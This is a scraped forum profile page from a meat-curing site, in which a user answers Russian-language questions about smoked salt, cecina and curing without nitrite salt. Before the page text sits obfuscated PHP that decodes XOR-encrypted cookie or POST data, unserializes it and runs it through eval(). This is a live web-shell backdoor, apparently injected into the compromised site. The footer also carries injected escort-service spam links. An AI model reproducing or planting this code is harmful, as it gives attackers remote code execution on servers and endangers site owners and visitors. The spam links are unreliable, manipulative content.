$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Meat Review

Home page › Forums › Stanislav

Stanislav

Forum Replies Created

Viewing 11 posts - 1 through 11 (of 11 total)
  • Author
    Posts
  • 17.07.2017 at 16:32 in reply to: Вопросы про соль. #3563

    Stanislav
    Keymaster

    Я несколько раз использовал копченую соль. В принципе вкус дыма дает, важно поймать пропорции, что бы не горчило.

    10.07.2017 at 14:39 in reply to: Вопрос к метрам по специям. #3554

    Stanislav
    Keymaster

    Я бы вообще не рекомендовал свежий в колбасу, максимум в котлеты. Гранулированный рулит.

    28.02.2017 at 10:40 in reply to: Создание рецепта. #3169

    Stanislav
    Keymaster

    там есть ссылка “заглавное изображение”

    28.01.2017 at 00:19 in reply to: Испанский сыровял без нитритки. #2850

    Stanislav
    Keymaster

    Спрашивал на фабрике, говорят любым обмазывают, часто мешают свиной с говяжьим.

    27.01.2017 at 22:32 in reply to: Испанский сыровял без нитритки. #2848

    Stanislav
    Keymaster

    Обмазана, как и положено, нутряным жиром, только это не мое производство, это покупная, лионская говядина, всего 20Е за кг для повседневного употребления )))

    27.01.2017 at 22:15 in reply to: Испанский сыровял без нитритки. #2846

    Stanislav
    Keymaster

    Нет, это как раз сесина, та же, что на первом фото в нарезке

    27.01.2017 at 22:04 in reply to: Испанский сыровял без нитритки. #2844

    Stanislav
    Keymaster

    Я почти везде добавляю коричневый сахар (правда, рассчитываю по другому от 0,5 до 1%), что идет на копчение или в камеру. А уж в рыбу сыплю иногда вровень с солью.

    27.01.2017 at 21:53 in reply to: Испанский сыровял без нитритки. #2842

    Stanislav
    Keymaster

    Вообще, полностью классический рецепт. Именно так ее и делают наши производители (я тоже раза четыре делал, правда небольшие куски по 1,5-2кг). За исключением Cur – a, в Испании его даже купить проблематично. Хамон же всегда делают с ним.

    27.01.2017 at 21:36 in reply to: Испанский сыровял без нитритки. #2838

    Stanislav
    Keymaster

    а вот что меня ждет )

    Attachments:
    You must be logged in to view attached files.
    27.01.2017 at 21:15 in reply to: Испанский сыровял без нитритки. #2836

    Stanislav
    Keymaster

    Это обычная, попа коровы, так сказать.
    А язык у меня на сайте есть, просто выкиньте нитритку и сделайте холодное копчение часов 12, потом в камеру/вакуум.

    27.01.2017 at 19:57 in reply to: Испанский сыровял без нитритки. #2832

    Stanislav
    Keymaster

    Обожаю Сесину, и покупаю и делаю ее дома уже год, никакого хамона не надо.))) Сейчас пишу обзорчик о ней, много общался с производителями, все уверяют, что делают без нитритки. И я им верю. Смысла в ней нет в этом продукте.
    вот на днях как раз снимал

    Attachments:
    You must be logged in to view attached files.
  • Author
    Posts
Viewing 11 posts - 1 through 11 (of 11 total)

MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

escort Muğla
Aydın Escort bayan
Çanakkale Escort
escort bayan balıkesir

Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close